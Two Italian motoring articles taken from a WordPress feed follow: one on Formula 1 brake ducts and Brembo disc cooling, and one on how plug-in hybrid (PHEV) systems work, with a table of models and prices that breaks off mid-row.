<p class="wp-block-paragraph">Intorno ai corner ruota di Formula 1 abbiamo visto svilupparsi nel tempo delle brake duct in carbonio sempre più sofisticate, con prese d’aria, flap e deviatori di flusso progettati ad hoc e in grado non soltanto di raffreddare l’impianto frenante, ma di svolgere anche funzioni aerodinamiche. ​</p>



<p class="wp-block-paragraph">Questo perché, ripulendo l’aria dalle turbolenze che si generano con il moto rotante della gomma si può ridurre la resistenza all’avanzamento della monoposto o aumentarne il carico aerodinamico.&nbsp;</p>



<p class="wp-block-paragraph">In presenza dell’ostruzione di anche solo una delle prese d’aria, il disco e le pastiglie si troverebbero a lavorare costantemente a temperature superiori rispetto a quelle di funzionamento ottimale.&nbsp;</p>



<p class="wp-block-paragraph">Ne conseguirebbe un loro ossidamento e nell’arco di una manciata di intense frenate la temperatura del materiale d’attrito andrebbe ad impennarsi vorticosamente.&nbsp;</p>



<p class="wp-block-paragraph">L’accidentale mancanza di adeguata ventilazione può mandare quindi in crisi prima il fluido freni e poi il materiale d’attrito. Oltre a consumarsi molto velocemente, il materiale d’attrito inizierebbe a bruciarsi, erodendo parte del disco, mentre il fluido freni andrebbe in ebollizione, generando il fenomeno del vapour lock. Se la monoposto continuasse a girare e il pilota quindi spingesse maggiormente sul pedale del freno, l’usura raggiungerebbe i fori di ventilazione fino a portare il disco al rischio di esplosione.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Più stabili le pinze freno</strong> perché l’alluminio con cui sono realizzate fonde a 700°C. Le pinze Brembo a 6 pistoni hanno una <strong>soglia di garanzia di 210°C</strong>, inferiore alla <strong>temperatura minima di esercizio per i dischi, il cui range d’utilizzo è tra i 350°C e i 1.000°C. ​</strong></p>



<p class="wp-block-paragraph">A differenza di dischi e pastiglie, che raggiungono temperature elevatissime anche nelle condizioni di impiego più esasperate come il GP del Canada, il cui layout comporta tante staccate, tutte decise e molto ravvicinate, le pinze Brembo <strong>non superano mai i 200°C.​</strong></p>



<h3 class="wp-block-heading"><strong>​Il rompicapo della temperatura ottimale&nbsp;</strong>​</h3>



<p class="wp-block-paragraph">Sul circuito Gilles-Villeneuve così come sulle piste di Abu Dhabi, Città del Messico e Singapore <strong>diventa basilare il ruolo delle prese d’aria dei freni</strong> perché la sequenza di staccate violente senza spazi adeguati -cioè lunghi rettilinei &#8211; per far rifiatare gli impianti frenanti richiede l’indirizzamento di grandi quantitativi al loro interno.​ ​</p>



<p class="wp-block-paragraph">Contrariamente, in tracciati come Silverstone, Suzuka o Interlagos c’è il rischio opposto, ossia il mancato raggiungimento della temperatura ideale di funzionamento dei freni, con conseguente rischio del fenomeno di vetrificazione &#8211; glazing &#8211; del materiale d’attrito. In simili condizioni i freni hanno bisogno di meno aria e le prese d’aria vengono “parzializzate” riducendo di fatto il flusso d’aria veicolato sui freni. Sulla carta queste scelte appaiono logiche ma il corner ruota di un’auto di Formula 1 include tanti elementi, ciascuno dei quali ha esigenze diverse dalle altre. Inoltre bisogna considerare l’incidenza sul funzionamento degli pneumatici, così come la temperatura di esercizio della power-unit e la resistenza all’avanzamento sui dritti.&nbsp;</p>



<p class="wp-block-paragraph">Insomma, un vero e proprio equilibrismo, a cui si aggiunge un’ulteriore variabile,&nbsp;<strong>il numero dei fori di ventilazione dei dischi freno:</strong>&nbsp;progettati attraverso il calcolo CFD (Computational Fluid Dynamics)&nbsp;<strong>sono il risultato di uno studio sinergico tra il produttore dei dischi e i costruttori delle monoposto.&nbsp;</strong></p>



<p class="wp-block-paragraph">A seconda delle prese d’aria in uso in una stagione o modificate per un determinato GP, i team scelgono la versione di disco che reputano migliore. Per l’anteriore Brembo mette a disposizione le alternative Very High Cooling con 1480 fori, le High Cooling da 1250 fori e le Medium Cooling da 800 fori.&nbsp;</p>



<p class="wp-block-paragraph">Per ciascuna di queste opzioni i team possono inoltre scegliere la variante con lavorazione sul diametro esterno del disco, il cosiddetto groove, che crea una sezione divergente all’aria: con essa l’efficienza di raffreddamento del materiale risulta superiore. Al posteriore invece Brembo offre due opzioni di dischi, High Cooling &#8211; 1250 fori &#8211; e Medium Cooling, da 800 fori.</p>
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		<title>Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 11 Apr 2021 14:38:21 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>I veicoli ibridi plug-in ,o PHEV, a differenza di quelli a ricarica autonoma HEV, full hybrid electric vehicle, funzionano con ricarica esterna delle batterie. Queste hanno una capacità maggiore e possono essere ricaricate attraverso la rete elettrica domestica o colonnine di ricarica pubbliche anche ad alta velocità. Introduzione: Funzionamento del PHEV La differenza tra un [&#8230;]</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">I veicoli <strong>ibridi plug-in</strong> ,o PHEV, a differenza di quelli a ricarica autonoma HEV, full hybrid electric vehicle, funzionano con ricarica esterna delle batterie. Queste hanno una capacità maggiore e possono essere ricaricate attraverso la rete elettrica domestica o colonnine di ricarica pubbliche anche ad alta velocità. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/04/ibrido-in-serie-o-in-parallelo-2-730x411.jpg" alt="ibrido in serie o in parallelo 2" class="wp-image-105564" width="548" height="308" title="Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 310"><figcaption>Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 324</figcaption></figure>



<p class="wp-block-paragraph"><strong>Introduzione: Funzionamento del PHEV</strong></p>



<p class="wp-block-paragraph">La differenza tra un veicolo PHEV ed una vettura puramente elettrica sta nel fatto che la ricarica avviene anche attraverso l&#8217;utilizzo di un motore a combustione interna. Questo può essere alimentato a benzina, diesel oppure a metano. Inoltre, il motore endotermico, sostituisce in tutto e per tutto il motore elettrico quando la batteria è scarica unendo le due propulsioni quando si richiede maggiore potenza al sistema.</p>



<p class="wp-block-paragraph">Quanto un PHEV sia più economico, e rispettoso dell&#8217;ambiente, rispetto ad un HEV dipende dalla capacità della sua batteria e la capacità di sfruttare il modo efficiente la sua capacità. Ci sono vicoli PHEV che a parità di batteria percorrono chilometri diversi, indice di un efficienza diversa. Avere una batteria più piccola a parità di chilometri garantisce un minor peso del sistema. Oppure guardando il rovescio della medaglia essendo più efficiente si può usare una batteria più grande ampliando di molto la percorrenza in puro elettrico. In ogni caso i veicoli PHEV riescono a rendere al meglio su percorsi di tipo misto, composto da ciclo urbano, extraurbano. I vantaggi su questo tipo di utilizzo compensano ampiamente le perdite alle alte velocità in autostrada, a patto di non avere questa percorrenza nel proprio quotidiano superiore al 50%</p>



<p class="wp-block-paragraph">Uno degli aspetti critici dei veicoli PHEV riguarda proprio utilizzo prevalentemente autostradale. Questo tipo di percorso, se prevalente, non consente di utilizzare la parte elettrica per tutto il viaggio, con fasi di intervallo in elettrico nelle condizioni di veleggiamento in funzione anche della tipologia di tracciato autostradale. A seconda che si tratti di un sistema di tipo seriale o parallelo, il veicolo una capacità maggiore di veleggiare per più tempo in elettrico anche in marcia autostradale. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/04/ibrido-serie-png-1-730x404.png" alt="ibrido serie png 1" class="wp-image-105565" width="548" height="303" title="Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 311"><figcaption>Schema PHEV serie &#8211; Fonte Greenstart.it</figcaption></figure>



<p class="wp-block-paragraph">Dal punto di vista tecnico, infatti, la composizione dei sistemi full hybrid ricalca quello dei <a href="https://www.giornalemotori.com/2020/09/30/tecnologia-full-hybrid-f-hev-definizione-architettura-e-funzionamento/" data-type="URL" data-id="https://www.giornalemotori.com/2020/09/30/tecnologia-full-hybrid-f-hev-definizione-architettura-e-funzionamento/">veicoli HEV (hybrid electric vechicle).</a> Quindi la disposizione ed il funzionamento degli elementi possono essere in serie, parallelo o combinato serie/parallelo.</p>



<p class="wp-block-paragraph"><strong>Ibrido Plug-In, PHEV In serie</strong></p>



<p class="wp-block-paragraph">Il PHEV in serie puro, prevede che il motore endotermico non sia mai collegato alle ruote. Questo funziona come range extender della capacità di batteria che  a sua volta alimenta il motore o i motori elettrici che forniscono trazione alle ruote. Un esempio era la Chevrolet Volt in Europa Opel Ampera. La sua prerogativa era quella di avere un piccolo motore endotermico che fungeva, appunto, soltanto da generatore quando la batteria era scarica.  Il vantaggio del sistema in serie è quello di poter utilizzare un piccolo motore benzina ad un numero di giri limitato sfruttando la massima efficienza possibile risparmiando carburante. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/04/fca1a37b47ecedeb16373133d3020bdf-730x552.jpg" alt="fca1a37b47ecedeb16373133d3020bdf" class="wp-image-105612" width="548" height="414" title="Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 312"><figcaption>Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 325</figcaption></figure>



<p class="wp-block-paragraph"><strong>Ibrido Plug-In, PHEV Parallelo</strong></p>



<p class="wp-block-paragraph">Il sistema parallelo si riconosce per la diversa erogazione dei due propulsori, con predominanza del motore endotermico rispetto a quello elettrico. Una volta sfruttata al massimo la capacità elettrica in EV, a batteria scarica, il motore endotermico diventa protagonista conservando prestazioni discrete. </p>



<p class="wp-block-paragraph">Questo schema si adatta ad utilizzare componenti per la parte elettrica modulari progettati in collaborazione con i colossi della componentistica. In questo modo si imita il costo di adattamento delle piattaforme tecniche già in uso. </p>



<p class="wp-block-paragraph">Lo schema parallelo si adatta infatti sia alla disposizione con motore anteriore trasversale che longitudinale. In entrambi i casi il motore elettrico viene installato nella trasmissione tra cambio e motore endotermico. La disponibilità di spazio e l&#8217;adattabilità del telaio determina spesso la differenza di potenza di cui il motore elettrico può disporre. Questa soluzione è adottata da molti gruppi tra i quali, Volkswagen, Hyundai/Kia con PSA e Volvo sfruttano anche u doppio motore elettrico per la gestione della trazione integrale. Nel caso di Mercedes e BMW con entrambe le disposizioni meccaniche. </p>



<p class="wp-block-paragraph">Nelle modalità ibride automatiche l&#8217;endotermico funge da ricarica, ma prima che la batteria raggiunga un sufficiente livello di ricarica il sistema gestisce l&#8217;azione della parte elettrica come un mild hybrid con caratteristiche allargate sfruttando la maggiore potenza della macchina elettrica. Ma mano che la batteria si riempie si può aggiungere coppia e potenza in accelerazione, recuperando le prestazioni iniziali o tornare ad alternare la marcia in EV. </p>



<p class="wp-block-paragraph">Uno dei limiti del sistema sta proprio nella lentezza con cui ricarica la batteria nelle fasi passive. Al conducente, di solito, sono concesse varie modalità di utilizzo manuali tra cui una Save ed una Recharge per consentire di sfruttare al meglio la capacità di conservare o ricaricare energia in funzione del percorso. Ciò comunque comporta un utilizzo intenso della parte endotermica. La logica, quindi, sarebbe quella di lasciare al controllo automatico la capacità di decidere come funzionare, sacrificando piacere di guida e prestazioni in funzione della carica di batteria. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/04/ibrido-parallelo-730x432.png" alt="ibrido parallelo" class="wp-image-105566" width="548" height="324" title="Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 313"><figcaption>Schema PHEV Parallelo &#8211; Fonte Greenstart.it</figcaption></figure>



<p class="wp-block-paragraph">Il sistema ibrido parallelo, comunque, offre prestazioni superiori potendo sommare in parte o totalmente le due potenze, endotermica ed elettrica. Il risultato, dipende, spesso, dal tipo di trasmissione che il costruttore utilizza per far arrivare la potenza alle ruote, e come viene gestita elettronicamente l&#8217;azione combinata delle due propulsioni. Spesso ci sono momenti in cui le due potenze si sovrappongono senza sommarsi passandosi il testimone dell&#8217;erogazione di potenza come un gioco di staffetta tra atleti per ottenere l&#8217;erogazione finale. In questo caso il risultato finale è diverso dalla somma algebrica delle due potenze. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/04/ZF_8HP_plugin_charging_3_2_748px-730x487.png" alt="ZF 8HP plugin charging 3 2 748px" class="wp-image-105576" width="548" height="365" title="Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 314"><figcaption>Sistema modulare PHEV ZF</figcaption></figure>



<p class="wp-block-paragraph">Sul mercato ci sono costruttori come Mercedes che utilizza i sui due cambi il 7G doppia frizione ed il cambio 9G-Tronic aggiungendo la parte elettrica per il suo sistema PHEV. Tutti gli altri brand, compresi i premium come BMW, sfruttano sistemi progettati con colossi della<a href="https://www.zf.com/products/en/cars/products_34949.html" data-type="URL" data-id="https://www.zf.com/products/en/cars/products_34949.html" target="_blank" rel="noopener"> componentistica come ZF </a>o GKN.  Anche Lexus per la gamma LS collabora con Aisin progettando e definendo la trasmissione dedicata per le loro autovetture. </p>



<p class="wp-block-paragraph">I colossi della componentistica, infatti, forniscono moduli completi integrandosi nella meccanica sia anteriore che dell&#8217;assale posteriore. Di solito viene fornito il telaietto supporto per i bracci sospensioni, anche multilink, che porta il motore elettrico fungendo anche da differenziale o torque vectoring nel caso di trazione integrale. Tale soluzione, facilmente integrata, è utilizzata da Jeep, Mini, Land Rover ed altri.  Quando il motore elettrico è posizionato solo sull&#8217;asse posteriore fornisce trazione elettrica pura alle ruote posteriori, gestendo la trazione integrale in parallelo quando lavora in accordo con il motore endotermico. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/04/gkn-driveline-etwinsterx-awd-phev_YEh3gn3_fbimage-730x383.jpg" alt="gkn driveline etwinsterx awd phev YEh3gn3 fbimage" class="wp-image-105577" width="548" height="287" title="Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 315"><figcaption>Sistema modulare PHEV GKN</figcaption></figure>



<p class="wp-block-paragraph">La potenza ridotta del motore elettrico sull&#8217;asse posteriore,però, costringe ad azionare il motore endotermico più spesso che nelle soluzioni dove i due sono accoppiati su un solo asse. Se da un lato si guadagna in reattività anche migliore rispetto ad una trazione integrale meccanica, il guadagno in termini di consumi non è così marcato.  </p>



<p class="wp-block-paragraph"><strong>Ibrido Plug-In, PHEV Serie/Parallelo</strong></p>



<p class="wp-block-paragraph"> L’ibrido plug-in PHEV serie/parallelo che viene sviluppato per viaggiare sfruttando entrambe le modalità di funzionamento descritte sopra. Questa soluzione è complessa, costosa, ma particolarmente cara a costruttori giapponesi, pionieri dell&#8217;ibrido come Toyota seguita da Mitsubishi. In sostanza, rappresenta il compromesso ideale. In Europa, l&#8217;unico costruttore che si cimenta su questa tecnologia è la Renault con la E-Tech ma con differenze sostanziali sia dal punto di vista tecnico nello sfruttamento delle sue componenti. </p>



<p class="wp-block-paragraph"> In base alle condizioni di marcia e l&#8217;esigenza di potenza si può sfruttare il motore endotermico come generatore, oppure far agire le due motorizzazioni in parallelo per sfruttare le potenzialità di entrambi. La presenza di un secondo motore elettrico posteriore consente di gestire anche la trazione integrale on-demand. Anche in questo caso si possono avere modalità di funzionamento in serie se percorre off-road leggero e parallelo per i passaggi difficili dove serve la potenza di tutti e due i motori elettrici più quello benzina.  </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/04/ibrido-serie-parallelo-730x515.png" alt="ibrido serie parallelo" class="wp-image-105567" width="548" height="386" title="Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 316"><figcaption>Schema PHEV Serie/Parallelo &#8211; Fonte Greenstart.it</figcaption></figure>



<p class="wp-block-paragraph">In questo sistema il motore endotermico non può essere di piccola cilindrata per la duplice funzione di ricarica e di potenza. Toyota utilizza un motore di grossa cilindrata aspirato ciclo Atkinson/Miller a rapporto di compressione variabile. Un propulsore facile da progettare, affidabile, che privilegia efficienza piuttosto che potenza potendo contare su un&#8217;unità elettrica di solito di pari potenza. </p>



<p class="wp-block-paragraph">In questo schema la ricarica di batteria è affidata ad un generatore HSG collegato al motore endotermico. Una volta esaurita la carica iniziale, il PHEV serie/parallelo tende ad utilizzare l&#8217;azione dell&#8217;endotermico come extender in serie, dalla gestione ottimale la quantità di energia recuperata per viaggiare puramente elettrica per più tempo possibile, in tempo reale. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/04/44-49_Plug-in-Hybrid-System_atrMay18_Lead-730x455.jpg" alt="44 49 Plug in Hybrid System atrMay18 Lead" class="wp-image-105570" width="548" height="341" title="Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 317"><figcaption>Tecnologia PHEV Toyota </figcaption></figure>



<p class="wp-block-paragraph">Anche funzionando in questo modo, resta comunque una certa lentezza del sistema nel tornare a piena capienza della batteria. L&#8217;inverter infatti ha una potenza di ricarica inferiore rispetto ai 400v che di solito servono per ricaricare la batteria. in ogni caso rispetto ad un sistema parallelo puro, la quantità di energia immagazzinata è comunque superiore, e viene anche resa immediatamente disponibile in modo più rapido per non avere mai cali di potenza per batteria scarica. </p>



<p class="wp-block-paragraph">La potenza totale erogata dai sistemi ibrido serie/parallelo dipende dall&#8217;obiettivo che si prefigge il costruttore. I giapponesi puntano ad un equilibrio tra prestazione ed efficienza. Gli europei, pochi che sfruttano questo sistema, puntano sulla prestazione sommando le due potenze elettrica ed endotermica in modo assoluto.    </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/04/PHEV-T-02-730x325.jpg" alt="PHEV T 02" class="wp-image-105571" width="548" height="244" title="Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 318"><figcaption>Tecnologia PHEV Mitsubishi</figcaption></figure>



<p class="wp-block-paragraph">In ogni caso, il sistema seriale/parallelo deve sempre fare i conti con una certa lentezza nella reattività alle sollecitazioni dell&#8217;acceleratore. La gestione del sistema, infine, dipende molto dalla capacità del driver di far lavorare il sistema tanto in modo seriale che in parallelo in funzioni della condotta di guida con risultati anche molto variabili in termini di consumi.</p>



<p class="wp-block-paragraph"><strong>Costi e convenienza del sistema PHEV, Plug-In</strong></p>



<p class="wp-block-paragraph">La domanda che sta attanagliando i lettori che sono giunti fino a questo punto è <strong>“Ma quanto si risparmia con un veicolo PHEV?”</strong> La risposta non è facile. Lasciando per un attimo le argomentazioni ecologiche e le discussioni filosofiche, restano concetti pragmatici come l&#8217;investimento e quanto rimane nel proprio portafoglio rispetto ad una tecnologia standard.  </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/04/maxresdefault-730x411.jpg" alt="maxresdefault" class="wp-image-105572" width="548" height="308" title="Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 319"><figcaption>Tecnologia PHEV Renault</figcaption></figure>



<p class="wp-block-paragraph">In sostanza, il risparmio dipende dal tipo di percorso che l’automobilista svolge quotidianamente. In ogni caso per funzionale al suo massimo potenziale un PHEV deve sempre avere la massima carica iniziale. Questa può avere costi variabili, dal bassissimo se la fonte energetica e rinnovabile come pannelli solari di tipo domestico o con colonnina ad alta potenza. Comunque è un costo che va sommato, convertendolo in carburante analogo, sommandolo al consumo dichiarato della vettura PHEV.   </p>



<p class="wp-block-paragraph">Per fare un esempio: Se una ricarica per percorrere 50km ha un costo medio di 2.50 euro, questi sono paragonabili, al momento, ad 1,4 litri di carburante, facendo una media tra benzina e diesel. Sommati ad un valore, per esempio di 2.0 litri/100km dichiarati dal costruttore, fanno un consumo realistico di 3.4litri100km. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/04/schema-AC-parete-accumulo-730x356.png" alt="schema AC parete accumulo" class="wp-image-105621" width="548" height="267" title="Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 320"><figcaption>Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 326</figcaption></figure>



<p class="wp-block-paragraph">Il consumo dichiarato secondo il ciclo NEDC e il recente WLTP di un veicolo PHEV è di circa 2.0 litri/100km, con variazioni a seconda del livello prestazionale. Infine l’autonomia della batteria in elettrico puro. La percorrenza è variabile in funzione del percorso. Per gli automobilisti che hanno una percorrenza media pari al dichiarato dal costruttore di riferimento, conviene utilizzare la funzione EV a prescindere. Ma per tutti gli automobilisti che percorrono più chilometri del dichiarato a batteria carica, allora conviene affidarsi alla modalità ibrida automatica per gestire al meglio la parte elettrica in funzione del percorso. A fronte di momenti in cui la vettura si accende a benzina, lo farà per allungare il più possibile la capacità elettrica dell&#8217;auto in modo funzionale. </p>



<figure class="wp-block-image size-large is-resized is-style-default"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/04/B_opel-506684_96628-730x486.jpg" alt="B opel 506684 96628" class="wp-image-105574" width="548" height="365" title="Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 321"><figcaption>Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 327</figcaption></figure>



<p class="wp-block-paragraph"><strong>Leggere la tabella:</strong></p>



<p class="wp-block-paragraph">Nella tabella sottostante sono stati elencati e suddivisi per segmento di mercato, la maggior parte delle vetture PHEV che compongono il listino, sperando di non fare torto a nessuno. Detto questo, per leggere ed interpretare al meglio i dati bisogna fare qualche considerazione iniziale.</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/04/P90169259-bmw-330e-drive-train-09-2015-2121px-730x516.jpg" alt="P90169259 bmw 330e drive train 09 2015 2121px" class="wp-image-105575" width="548" height="387" title="Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 322"><figcaption>Tecnologia PHEV BMW motore longitudinale</figcaption></figure>



<p class="wp-block-paragraph">Nella seconda colonna è stata riportata l&#8217;autonomia in modalità full elettrico, PHEV40 piuttosto che PHEV100 con il numero che in dica la percorrenza massima in EV. Nella terza colonna è stata inserita la capacità della batteria. A parità di km percorsi, infatti, indica l&#8217;efficienza e la capacità di sfruttamento del sistema ogni singolo Kw presente. </p>



<p class="wp-block-paragraph">Nella quarta colonna, sono elencati nell&#8217;ordine da sinistra, la potenza endotermica, quella elettrica del motore o dei motori elettrici, e la potenza di sistema. In questo modo è più facile capire se si tratta di un sistema PHEV serie, parallelo o serie/parallelo valutando le prestazioni e l&#8217;efficienza in funzione delle proprie esigenze. </p>



<p class="wp-block-paragraph">Infine i costi. All&#8217;interno del singolo segmento si possono incrociare i dati per determinare il costo in relazione alla tecnologia utilizzata ed alle prestazioni offerte. Spesso conseguire obiettivi di efficienza migliori costa di più ma non è detto che siano in linea con le esigenze dell&#8217;automobilista. Inoltre, nel costo finale, vanno inseriti anche parametri che non dipendono dal fattore tecnologico come stile, funzionalità degli interni, piuttosto che la percezione del brand. Tutti elementi imprescindibili che vanno messi in relazione rispetto ai freddi numeri dettati dalla tecnologia.</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/04/asset.MQ6_.12.20200630173953-730x411.jpeg" alt="asset.MQ6 .12.20200630173953" class="wp-image-105573" width="548" height="308" title="Ibrido Plug-In, PHEV: Funzionamento, tipologia, vantaggi 323"><figcaption>Tecnologia PHEV Mercedes </figcaption></figure>



<p class="wp-block-paragraph"><strong>Tabella veicoli PHEV suddivisi per segmento &nbsp;</strong></p>



<figure class="wp-block-table"><table><tbody><tr><td>Marca</td><td>Modello</td><td>Percorrenza PHEV-KM</td><td>Capacità kW/h</td><td>Potenza END-ELE-TOT in CV</td><td>Prezzo Euro</td></tr><tr><td><strong>Segmento “B-SUV”</strong></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>Renault</td><td>Captur E-Tech PHEV</td><td><strong>PHEV64</strong></td><td><strong>9,8</strong></td><td>92-<strong>68</strong>&#8211;<strong>160</strong></td><td><strong>32.900</strong></td></tr><tr><td>Kia</td><td>Niro Plug-in Hybrid</td><td>PHEV58</td><td><strong>9,8</strong></td><td><strong>105</strong>-61-141</td><td>37.000</td></tr><tr><td>Kia</td><td>XCeed Plug-in Hybrid</td><td>PHEV54</td><td>8,9</td><td>105-61-141</td><td>37.800</td></tr><tr><td><strong>Segmento “C” Compatte</strong></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>Mercedes</td><td>Classe A/B/Sedan 250 EQ Power</td><td><strong>PHEV77-79</strong></td><td><strong>15,5</strong></td><td><strong>160</strong>-102-<strong>262</strong></td><td>43.000-45.000</td></tr><tr><td>Renault</td><td>Megane Sporter</td><td>PHEV64</td><td>9,8</td><td>92-68-160</td><td><strong>36.000</strong></td></tr><tr><td>Hyundai</td><td>Ioniq PHEV</td><td>PHEV63</td><td>8,9</td><td>105-61-141</td><td>37.000</td></tr><tr><td>BMW</td><td>&nbsp;225xe iPerformance Active Tourer</td><td>PHEV57</td><td>10,0</td><td>136-88-224cv</td><td>39.000</td></tr><tr><td>Volkswagen</td><td>Golf GTE</td><td>PHEV52</td><td>8,8</td><td>150-<strong>110</strong>-245</td><td>43.400</td></tr><tr><td>Toyota</td><td>Prius Plug-in</td><td>PHEV50</td><td>8,8</td><td>98-72-122</td><td>42.300</td></tr><tr><td>Audi</td><td>&nbsp;A3 Sportback 40 TSFI e-tron</td><td>PHEV50</td><td>8,8</td><td>150-109-245</td><td>38.350</td></tr><tr><td><strong>Segmento “C-SUV”</strong></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>Opel</td><td>Grandland X Hybrid/Hybrid4</td><td><strong>PHEV69</strong></td><td>13,2</td><td>180-110/113-<strong>300</strong></td><td>43000</td></tr><tr><td>Peugeot</td><td>3008 300 e-EAT8 Hybrid-4</td><td><strong>PHEV69</strong></td><td>13,2</td><td>180-110/113-<strong>300cv</strong></td><td>52.000</td></tr><tr><td>Mercedes</td><td>GLA 250 EQ-Power</td><td>PHEV68</td><td>15,6</td><td>106-102-262cv</td><td>49.200</td></tr><tr><td>Land Rover</td><td>Evoque P300e PHEV</td><td>PHEV68</td><td>15.0</td><td><strong>200-</strong>109-309</td><td>53.000</td></tr><tr><td>Citroen</td><td>C5 Aircross Hybrid 225 e-EAT8</td><td>PHEV64</td><td>13,2</td><td>181-110-225cv</td><td>41,900</td></tr><tr><td>Mini</td><td>Cooper SE Countryman ALL4</td><td>PHEV61</td><td>9,6</td><td>136-81-220</td><td>40.600</td></tr><tr><td>BMW</td><td>BMW X1/X2 xDrive25e</td><td>PHEV57</td><td>10,0</td><td>136-81-220</td><td>49.000</td></tr><tr><td>Ford</td><td>Kuga Plug-in Hybrid</td><td>PHEV56</td><td>14,4</td><td>180-90-225</td><td>38.300</td></tr><tr><td>MG</td><td>EHS </td><td>PHEV52 </td><td><strong>16,5</strong></td><td>162-<strong>122</strong>-258 </td><td><strong>29.000</strong></td></tr><tr><td>Jeep</td><td>Compass 4xe</td><td>PHEV52</td><td>11,4</td><td>180-60-240cv</td><td>44.000</td></tr><tr><td>Peugeot</td><td>3008 Hybrid 225 e-EAT8</td><td>PHEV50</td><td>11,8</td><td>180-110-225</td><td>54.600</td></tr><tr><td>Volvo</td><td>Volvo XC40 T4 Recharge plug-in</td><td>PHEV50</td><td>10,7</td><td>130-81-211</td><td>47.400</td></tr><tr><td>Volvo</td><td>Volvo XC40 T5 Recharge plug-in </td><td>PHEV50</td><td>10,7</td><td>130-81/45-262</td><td>48.500</td></tr><tr><td>Mitsubishi</td><td>Eclipse Cross PHEV</td><td>PHEV50</td><td>13,8</td><td>98-82/95-188</td><td>48.000</td></tr><tr><td>Audi</td><td>Q3 SB 45 TSFI Quattro PHEV</td><td>PHEV50</td><td>8,8</td><td>150-116-245</td><td>50.000</td></tr><tr><td>Jeep</td><td>Renegade 4xe</td><td>PHEV44</td><td>11,4</td><td>180-60-240</td><td>38.500</td></tr><tr><td><strong>Segmento “D-Medie”</strong></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>BMW</td><td>330e / Touring/Xdrive</td><td><strong>PHEV66-71</strong></td><td>12,3</td><td>184-113-252</td><td>54.500-56.700</td></tr><tr><td>Skoda</td><td>Superbi iV /Wagon</td><td>PHEV65-68</td><td>13,0</td><td>156-<strong>116</strong>-218</td><td><strong>43.500-44.600</strong></td></tr><tr><td>Peugeot</td><td>508/SW Hybrid 225 e-EAT8</td><td>PHEV63-64</td><td>11,8</td><td>180-110-225</td><td>47.100</td></tr><tr><td>Mercedes</td><td>C300e/De/Wagon/4Matic EQ Power</td><td>PHEV54-57</td><td><strong>13,5</strong></td><td><strong>211</strong>-122-<strong>321</strong> <br>194-122-306</td><td>51.600 54.200</td></tr><tr><td>Volkawagen</td><td>&nbsp;Passat GTE/Variant</td><td>PHEV55</td><td>13,0</td><td>156-<strong>116</strong>-218</td><td>52.900</td></tr><tr><td><strong>Segmeno “D-SUV”</strong></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>Suzuki</td><td>Across PHEV</td><td><strong>PHEV75</strong></td><td><strong>18,1</strong></td><td>182-<strong>185</strong>/54-306</td><td>47.900</td></tr><tr><td>Toyota</td><td>Rav4 PHEV AWD</td><td><strong>PHEV75</strong></td><td><strong>18,1</strong></td><td>182-<strong>185</strong>/54-306</td><td>55.000</td></tr><tr><td>Hyundai</td><td>Tucson</td><td>PHEV68</td><td>13,8</td><td>180-60-265</td><td><strong>45.000</strong></td></tr><tr><td>Kia</td><td>Sorento 1,6 GDI AWD 